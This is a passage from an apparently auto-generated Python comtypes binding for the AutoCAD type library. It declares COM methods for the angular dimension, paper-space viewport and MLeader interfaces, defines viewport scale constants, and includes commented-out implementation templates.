'DimensionLinetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(81), 'propget'], HRESULT, 'ExtLine1Linetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(81), 'propput'], HRESULT, 'ExtLine1Linetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(82), 'propget'], HRESULT, 'ExtLine2Linetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(82), 'propput'], HRESULT, 'ExtLine2Linetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(83), 'propget'], HRESULT, 'ExtLineFixedLenSuppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bFixedLen' )),\n COMMETHOD([dispid(83), 'propput'], HRESULT, 'ExtLineFixedLenSuppress',\n ( ['in'], VARIANT_BOOL, 'bFixedLen' )),\n COMMETHOD([dispid(84), 'propget'], HRESULT, 'ExtLineFixedLen',\n ( ['out', 'retval'], POINTER(c_double), 'FixedLen' )),\n COMMETHOD([dispid(84), 'propput'], HRESULT, 'ExtLineFixedLen',\n ( ['in'], c_double, 'FixedLen' )),\n COMMETHOD([dispid(85), 'propget'], HRESULT, 'DimConstrForm',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bIsDynamic' )),\n COMMETHOD([dispid(85), 'propput'], HRESULT, 'DimConstrForm',\n ( ['in'], VARIANT_BOOL, 'bIsDynamic' )),\n COMMETHOD([dispid(86), 'propget'], HRESULT, 'DimConstrReference',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bIsReference' )),\n COMMETHOD([dispid(86), 'propput'], HRESULT, 'DimConstrReference',\n ( ['in'], VARIANT_BOOL, 'bIsReference' )),\n COMMETHOD([dispid(87), 'propget'], HRESULT, 'DimConstrName',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(87), 'propput'], HRESULT, 'DimConstrName',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(88), 'propget'], HRESULT, 'DimConstrExpression',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrExpression' )),\n COMMETHOD([dispid(88), 'propput'], HRESULT, 'DimConstrExpression',\n ( ['in'], BSTR, 'bstrExpression' )),\n COMMETHOD([dispid(89), 'propget'], HRESULT, 'DimConstrValue',\n ( ['out', 'retval'], POINTER(BSTR), 'Value' )),\n COMMETHOD([dispid(89), 'propput'], HRESULT, 'DimConstrValue',\n ( ['in'], BSTR, 'Value' )),\n COMMETHOD([dispid(90), 'propget'], HRESULT, 'DimConstrDesc',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrDescription' )),\n COMMETHOD([dispid(90), 'propput'], HRESULT, 'DimConstrDesc',\n ( ['in'], BSTR, 'bstrDescription' )),\n]\n################################################################\n## code template for IAcadDimAngular implementation\n##class IAcadDimAngular_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return xLine1Point\n## def _set(self, xLine1Point):\n## '-no docstring-'\n## ExtLine1StartPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return xLine1Point\n## def _set(self, xLine1Point):\n## '-no docstring-'\n## ExtLine1EndPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return xLine2Point\n## def _set(self, xLine2Point):\n## '-no docstring-'\n## ExtLine2StartPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return xLine2Point\n## def _set(self, xLine2Point):\n## '-no docstring-'\n## ExtLine2EndPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return format\n## def _set(self, format):\n## '-no docstring-'\n## AngleFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## DimensionLineColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## ExtensionLineColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return extend\n## def _set(self, extend):\n## '-no docstring-'\n## ExtensionLineExtend = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return fittype\n## def _set(self, fittype):\n## '-no docstring-'\n## Fit = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## HorizontalTextPosition = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return lweight\n## def _set(self, lweight):\n## '-no docstring-'\n## ExtensionLineWeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## DimLine1Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## DimLine2Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## ExtLine1Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## ExtLine2Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## DimLineInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextInsideAlign = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## ForceLineInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextOutsideAlign = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return precision\n## def _set(self, precision):\n## '-no docstring-'\n## TextPrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Offset\n## def _set(self, Offset):\n## '-no docstring-'\n## ExtensionLineOffset = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return weight\n## def _set(self, weight):\n## '-no docstring-'\n## DimensionLineWeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return size\n## def _set(self, size):\n## '-no docstring-'\n## ArrowheadSize = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## Arrowhead1Type = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## Arrowhead2Type = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Measurement(self):\n## '-no docstring-'\n## #return bVal\n##\n## def _get(self):\n## '-no docstring-'\n## #return BlockName\n## def _set(self, BlockName):\n## '-no docstring-'\n## Arrowhead1Block = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return BlockName\n## def _set(self, BlockName):\n## '-no docstring-'\n## Arrowhead2Block = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## DimensionLinetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## ExtLine1Linetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## ExtLine2Linetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bFixedLen\n## def _set(self, bFixedLen):\n## '-no docstring-'\n## ExtLineFixedLenSuppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return FixedLen\n## def _set(self, FixedLen):\n## '-no docstring-'\n## ExtLineFixedLen = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bIsDynamic\n## def _set(self, bIsDynamic):\n## '-no docstring-'\n## DimConstrForm = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bIsReference\n## def _set(self, bIsReference):\n## '-no docstring-'\n## DimConstrReference = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## DimConstrName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrExpression\n## def _set(self, bstrExpression):\n## '-no docstring-'\n## DimConstrExpression = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Value\n## def _set(self, Value):\n## '-no docstring-'\n## DimConstrValue = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrDescription\n## def _set(self, bstrDescription):\n## '-no docstring-'\n## DimConstrDesc = property(_get, _set, doc = _set.__doc__)\n##\n\nclass AcadMLeader(CoClass):\n _reg_clsid_ = GUID('{BB1F3896-D460-401A-8074-0748BEA74275}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadMLeader(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{1FA2EBD8-B3D0-4CE6-87F1-94D51CA9FF5E}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadMLeader._com_interfaces_ = [IAcadMLeader]\nAcadMLeader._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass IAcadPViewport(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{95703222-0ED3-4831-891C-E5E034AEBEB2}')\n _idlflags_ = ['dual', 'oleautomation']\n\n# values for enumeration 'AcViewportScale'\nacVpScaleToFit = 0\nacVpCustomScale = 1\nacVp1_1 = 2\nacVp1_2 = 3\nacVp1_4 = 4\nacVp1_5 = 5\nacVp1_8 = 6\nacVp1_10 = 7\nacVp1_16 = 8\nacVp1_20 = 9\nacVp1_30 = 10\nacVp1_40 = 11\nacVp1_50 = 12\nacVp1_100 = 13\nacVp2_1 = 14\nacVp4_1 = 15\nacVp8_1 = 16\nacVp10_1 = 17\nacVp100_1 = 18\nacVp1_128in_1ft = 19\nacVp1_64in_1ft = 20\nacVp1_32in_1ft = 21\nacVp1_16in_1ft = 22\nacVp3_32in_1ft = 23\nacVp1_8in_1ft = 24\nacVp3_16in_1ft = 25\nacVp1_4in_1ft = 26\nacVp3_8in_1ft = 27\nacVp1_2in_1ft = 28\nacVp3_4in_1ft = 29\nacVp1in_1ft = 30\nacVp1and1_2in_1ft = 31\nacVp3in_1ft = 32\nacVp6in_1ft = 33\nacVp1ft_1ft = 34\nAcViewportScale = c_int # enum\nclass IAcadView(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{8C2095AE-D12A-4AF0-958E-82D765FE5D6F}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadPViewport._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Center',\n ( ['out', 'retval'], POINTER(VARIANT), 'CenterPoint' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Center',\n ( ['in'], VARIANT, 'CenterPoint' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propget'], HRESULT, 'Direction',\n ( ['out', 'retval'], POINTER(VARIANT), 'dirVector' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propput'], HRESULT, 'Direction',\n ( ['in'], VARIANT, 'dirVector' )),\n COMMETHOD([dispid(3), 'nonbrowsable', 'propget'], HRESULT, 'GridOn',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bGridOn' )),\n COMMETHOD([dispid(3), 'nonbrowsable', 'propput'], HRESULT, 'GridOn',\n ( ['in'], VARIANT_BOOL, 'bGridOn' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'Height',\n ( ['out', 'retval'], POINTER(c_double), 'Height' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'Height',\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'Width',\n ( ['out', 'retval'], POINTER(c_double), 'Width' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'Width',\n ( ['in'], c_double, 'Width' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'ViewportOn',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bOn' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'ViewportOn',\n ( ['in'], VARIANT_BOOL, 'bOn' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'Clipped',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bClipped' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'DisplayLocked',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bLocked' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'DisplayLocked',\n ( ['in'], VARIANT_BOOL, 'bLocked' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'StandardScale',\n ( ['out', 'retval'], POINTER(AcViewportScale), 'scale' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'StandardScale',\n ( ['in'], AcViewportScale, 'scale' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'CustomScale',\n ( ['out', 'retval'], POINTER(c_double), 'scale' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'CustomScale',\n ( ['in'], c_double, 'scale' )),\n COMMETHOD([dispid(11), 'hidden', 'propget'], HRESULT, 'StyleSheet',\n ( ['out', 'retval'], POINTER(BSTR), 'pName' )),\n COMMETHOD([dispid(11), 'hidden', 'propput'], HRESULT, 'StyleSheet',\n ( ['in'], BSTR, 'pName' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'UCSPerViewport',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'UCSSaved' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'UCSPerViewport',\n ( ['in'], VARIANT_BOOL, 'UCSSaved' )),\n COMMETHOD([dispid(13), 'nonbrowsable', 'propget'], HRESULT, 'SnapBasePoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'lowLeft' )),\n COMMETHOD([dispid(13), 'nonbrowsable', 'propput'], HRESULT, 'SnapBasePoint',\n ( ['in'], VARIANT, 'lowLeft' )),\n COMMETHOD([dispid(14), 'nonbrowsable', 'propget'], HRESULT, 'SnapOn',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSnapOn' )),\n COMMETHOD([dispid(14), 'nonbrowsable', 'propput'], HRESULT, 'SnapOn',\n ( ['in'], VARIANT_BOOL, 'bSnapOn' )),\n COMMETHOD([dispid(15), 'nonbrowsable', 'propget'], HRESULT, 'SnapRotationAngle',\n ( ['out', 'retval'], POINTER(c_double), 'Angle' )),\n COMMETHOD([dispid(15), 'nonbrowsable', 'propput'], HRESULT, 'SnapRotationAngle',\n ( ['in'], c_double, 'Angle' )),\n COMMETHOD([dispid(16), 'nonbrowsable', 'propget'], HRESULT, 'UCSIconOn',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bIconOn' )),\n COMMETHOD([dispid(16), 'nonbrowsable', 'propput'], HRESULT, 'UCSIconOn',\n ( ['in'], VARIANT_BOOL, 'bIconOn' )),\n COMMETHOD([dispid(17), 'nonbrowsable', 'propget'], HRESULT, 'UCSIconAtOrigin',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bIconAtOrigin' )),\n COMMETHOD([dispid(17), 'nonbrowsable', 'propput'], HRESULT, 'UCSIconAtOrigin',\n ( ['in'], VARIANT_BOOL, 'bIconAtOrigin' )),\n COMMETHOD([dispid(18)], HRESULT, 'GetGridSpacing',\n ( ['out'], POINTER(c_double), 'XSpacing' ),\n ( ['out'], POINTER(c_double), 'YSpacing' )),\n COMMETHOD([dispid(19)], HRESULT, 'SetGridSpacing',\n ( ['in'], c_double, 'XSpacing' ),\n ( ['in'], c_double, 'YSpacing' )),\n COMMETHOD([dispid(20)], HRESULT, 'GetSnapSpacing',\n ( ['out'], POINTER(c_double), 'XSpacing' ),\n ( ['out'], POINTER(c_double), 'YSpacing' )),\n COMMETHOD([dispid(21)], HRESULT, 'SetSnapSpacing',\n ( ['in'], c_double, 'XSpacing' ),\n ( ['in'], c_double, 'YSpacing' )),\n COMMETHOD([dispid(22)], HRESULT, 'Display',\n ( ['in'], VARIANT_BOOL, 'bStatus' )),\n COMMETHOD([dispid(23), 'nonbrowsable', 'propget'], HRESULT, 'TwistAngle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'Angle' )),\n COMMETHOD([dispid(23), 'nonbrowsable', 'propput'], HRESULT, 'TwistAngle',\n ( ['in'], ACAD_ANGLE, 'Angle' )),\n COMMETHOD([dispid(24), 'nonbrowsable', 'propget'], HRESULT, 'LensLength',\n ( ['out', 'retval'], POINTER(c_double), 'Length' )),\n COMMETHOD([dispid(24), 'nonbrowsable', 'propput'], HRESULT, 'LensLength',\n ( ['in'], c_double, 'Length' )),\n COMMETHOD([dispid(25), 'hidden', 'propget'], HRESULT, 'RemoveHiddenLines',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bRemoval' )),\n COMMETHOD([dispid(25), 'hidden', 'propput'], HRESULT, 'RemoveHiddenLines',\n ( ['in'], VARIANT_BOOL, 'bRemoval' )),\n COMMETHOD([dispid(26), 'nonbrowsable', 'propget'], HRESULT, 'Target',\n ( ['out', 'retval'], POINTER(VARIANT), 'targetPoint' )),\n COMMETHOD([dispid(26), 'nonbrowsable', 'propput'], HRESULT, 'Target',\n ( ['in'], VARIANT, 'targetPoint' )),\n COMMETHOD([dispid(27), 'nonbrowsable', 'propget'], HRESULT, 'ArcSmoothness',\n ( ['out', 'retval'], POINTER(c_int), 'arcSmooth' )),\n COMMETHOD([dispid(27), 'nonbrowsable', 'propput'], HRESULT, 'ArcSmoothness',\n ( ['in'], c_int, 'arcSmooth' )),\n COMMETHOD([dispid(28), 'propget'], HRESULT, 'VisualStyle',\n ( ['out', 'retval'], POINTER(c_int), 'pVisualStyleIndex' )),\n COMMETHOD([dispid(28), 'propput'], HRESULT, 'VisualStyle',\n ( ['in'], c_int, 'pVisualStyleIndex' )),\n COMMETHOD([dispid(29), 'propget'], HRESULT, 'ShadePlot',\n ( ['out', 'retval'], POINTER(c_int), 'pShadePlotIndex' )),\n COMMETHOD([dispid(29), 'propput'], HRESULT, 'ShadePlot',\n ( ['in'], c_int, 'pShadePlotIndex' )),\n COMMETHOD([dispid(32), 'propget'], HRESULT, 'ModelView',\n ( ['out', 'retval'], POINTER(POINTER(IAcadView)), 'View' )),\n COMMETHOD([dispid(32), 'propput'], HRESULT, 'ModelView',\n ( ['in'], POINTER(IAcadView), 'View' )),\n COMMETHOD([dispid(33), 'propget'], HRESULT, 'SheetView',\n ( ['out', 'retval'], POINTER(POINTER(IAcadView)), 'View' )),\n COMMETHOD([dispid(33), 'propput'], HRESULT, 'SheetView',\n ( ['in'], POINTER(IAcadView), 'View' )),\n COMMETHOD([dispid(34), 'propget'], HRESULT, 'LabelBlockId',\n ( ['out', 'retval'], POINTER(LONG_PTR), 'ObjectID' )),\n COMMETHOD([dispid(34), 'propput'], HRESULT, 'LabelBlockId',\n ( ['in'], POINTER(LONG_PTR), 'ObjectID' )),\n COMMETHOD([dispid(35), 'propget'], HRESULT, 'HasSheetView',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSheetView' )),\n COMMETHOD([dispid(36)], HRESULT, 'SyncModelView'),\n COMMETHOD([dispid(39), 'propget'], HRESULT, 'StandardScale2',\n ( ['out', 'retval'], POINTER(c_int), 'scale' )),\n COMMETHOD([dispid(39), 'propput'], HRESULT, 'StandardScale2',\n ( ['in'], c_int, 'scale' )),\n COMMETHOD([dispid(37), 'propget'], HRESULT, 'LayerPropertyOverrides',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bOverrides' )),\n]\n################################################################\n## code template for IAcadPViewport implementation\n##class IAcadPViewport_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return CenterPoint\n## def _set(self, CenterPoint):\n## '-no docstring-'\n## Center = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return dirVector\n## def _set(self, dirVector):\n## '-no docstring-'\n## Direction = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bGridOn\n## def _set(self, bGridOn):\n## '-no docstring-'\n## GridOn = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Height\n## def _set(self, Height):\n## '-no docstring-'\n## Height = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Width\n## def _set(self, Width):\n## '-no docstring-'\n## Width = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bOn\n## def _set(self, bOn):\n## '-no docstring-'\n## ViewportOn = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Clipped(self):\n## '-no docstring-'\n## #return bClipped\n##\n## def _get(self):\n## '-no docstring-'\n## #return bLocked\n## def _set(self, bLocked):\n## '-no docstring-'\n## DisplayLocked = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return scale\n## def _set(self, scale):\n## '-no docstring-'\n## StandardScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return scale\n## def _set(self, scale):\n## '-no docstring-'\n## CustomScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pName\n## def _set(self, pName):\n## '-no docstring-'\n## StyleSheet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return UCSSaved\n## def _set(self, UCSSaved):\n## '-no docstring-'\n## UCSPerViewport = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return lowLeft\n## def _set(self, lowLeft):\n## '-no docstring-'\n## SnapBasePoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSnapOn\n## def _set(self, bSnapOn):\n## '-no docstring-'\n## SnapOn = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Angle\n## def _set(self, Angle):\n## '-no docstring-'\n## SnapRotationAngle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bIconOn\n## def _set(self, bIconOn):\n## '-no docstring-'\n## UCSIconOn = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bIconAtOrigin\n## def _set(self, bIconAtOrigin):\n## '-no docstring-'\n## UCSIconAtOrigin = property(_get, _set, doc = _set.__doc__)\n##\n## def GetGridSpacing(self):\n## '-no docstring-'\n## #return XSpacing, YSpacing\n##\n## def SetGridSpacing(self, XSpacing, YSpacing):\n## '-no docstring-'\n## #return \n##\n## def GetSnapSpacing(self):\n## '-no docstring-'\n## #return XSpacing, YSpacing\n##\n## def SetSnapSpacing(self, XSpacing, YSpacing):\n## '-no docstring-'\n## #return \n##\n## def Display(self, bStatus):\n## '-no docstring-'\n## #return \n##\n## def _get(self):\n## '-no docstring-'\n## #return Angle\n## def _set(self, Angle):\n## '-no docstring-'\n## TwistAngle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Length\n## def _set(self, Length):\n## '-no docstring-'\n## LensLength = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bRemoval\n## def _set(self, bRemoval):\n## '-no docstring-'\n## RemoveHiddenLines = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return targetPoint\n## def _set(self, targetPoint):\n## '-no docstring-'\n## Target = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return arcSmooth\n## def _set(self, arcSmooth):\n## '-no docstring-'\n## ArcSmoothness = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVisualStyleIndex\n## def _set(self, pVisualStyleIndex):\n## '-no docstring-'\n## VisualStyle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pShadePlotIndex\n## def _set(self, pShadePlotIndex):\n## '-no docstring-'\n## ShadePlot = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return View\n## def _set(self, View):\n## '-no docstring-'\n## ModelView = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return View\n## def _set(self, View):\n## '-no docstring-'\n## SheetView = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return ObjectID\n## def _set(self, ObjectID):\n## '-no docstring-'\n## LabelBlockId = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def HasSheetView(self):\n## '-no docstring-'\n## #return bSheetView\n##\n## def SyncModelView(self):\n## '-no docstring-'\n## #return \n##\n## def _get(self):\n## '-no docstring-'\n## #return scale\n## def _set(self, scale):\n## '-no docstring-'\n## StandardScale2 = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def LayerPropertyOverrides(self):\n## '-no docstring-'\n## #return bOverrides\n##\n\nclass IAcadDim3PointAngular(IAcadDimension):\n _case_insensitive_ = True\n _iid_ = GUID('{FCB6F2AC-1BB7-41B1-9FAB-B7113F607120}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadDim3PointAngular._methods_ = [\n COMMETHOD([dispid(38), 'nonbrowsable', 'propget'], HRESULT, 'ExtLine1EndPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'xLine1Point' )),\n COMMETHOD([dispid(38), 'nonbrowsable', 'propput'], HRESULT, 'ExtLine1EndPoint',\n ( ['in'], VARIANT, 'xLine1Point' )),\n COMMETHOD([dispid(40), 'nonbrowsable', 'propget'], HRESULT, 'ExtLine2EndPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'xLine2Point' )),\n COMMETHOD([dispid(40), 'nonbrowsable', 'propput'], HRESULT, 'ExtLine2EndPoint',\n ( ['in'], VARIANT, 'xLine2Point' )),\n COMMETHOD([dispid(45), 'nonbrowsable', 'propget'], HRESULT, 'AngleVertex',\n ( ['out', 'retval'], POINTER(VARIANT), 'AngleVertex' )),\n COMMETHOD([dispid(45), 'nonbrowsable', 'propput'], HRESULT, 'AngleVertex',\n ( ['in'], VARIANT, 'AngleVertex' )),\n COMMETHOD([dispid(36), 'propget'], HRESULT, 'TextPrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'AngleVertex' )),\n COMMETHOD([dispid(36), 'propput'], HRESULT, 'TextPrecision',\n ( ['in'], AcDimPrecision, 'AngleVertex' )),\n COMMETHOD([dispid(41), 'propget'], HRESULT, 'AngleFormat',\n ( ['out', 'retval'], POINTER(AcAngleUnits), 'format' )),\n COMMETHOD([dispid(41), 'propput'], HRESULT, 'AngleFormat',\n ( ['in'], AcAngleUnits, 'format' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'DimensionLineColor',\n ( ['out', 'retval'], POINTER(ACAD_COLOR), 'Type' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'DimensionLineColor',\n ( ['in'], ACAD_COLOR, 'Type' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'ExtensionLineColor',\n ( ['out', 'retval'], POINTER(ACAD_COLOR), 'Type' )),\n COMMETHOD([dispid(14), 'propput'], HRESULT, 'ExtensionLineColor',\n ( ['in'], ACAD_COLOR, 'Type' )),\n COMMETHOD([dispid(17), 'propget'], HRESULT, 'ExtensionLineExtend',\n ( ['out', 'retval'], POINTER(c_double), 'extend' )),\n COMMETHOD([dispid(17), 'propput'], HRESULT, 'ExtensionLineExtend',\n ( ['in'], c_double, 'extend' )),\n COMMETHOD([dispid(18), 'propget'], HRESULT, 'Fit',\n ( ['out', 'retval'], POINTER(AcDimFit), 'fittype' )),\n COMMETHOD([dispid(18), 'propput'], HRESULT, 'Fit',\n ( ['in'], AcDimFit, 'fittype' )),\n COMMETHOD([dispid(20), 'propget'], HRESULT, 'HorizontalTextPosition',\n ( ['out', 'retval'], POINTER(AcDimHorizontalJustification), 'Type' )),\n COMMETHOD([dispid(20), 'propput'], HRESULT, 'HorizontalTextPosition',\n ( ['in'], AcDimHorizontalJustification, 'Type' )),\n COMMETHOD([dispid(23), 'propget'], HRESULT, 'ExtensionLineWeight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'lweight' )),\n COMMETHOD([dispid(23), 'propput'], 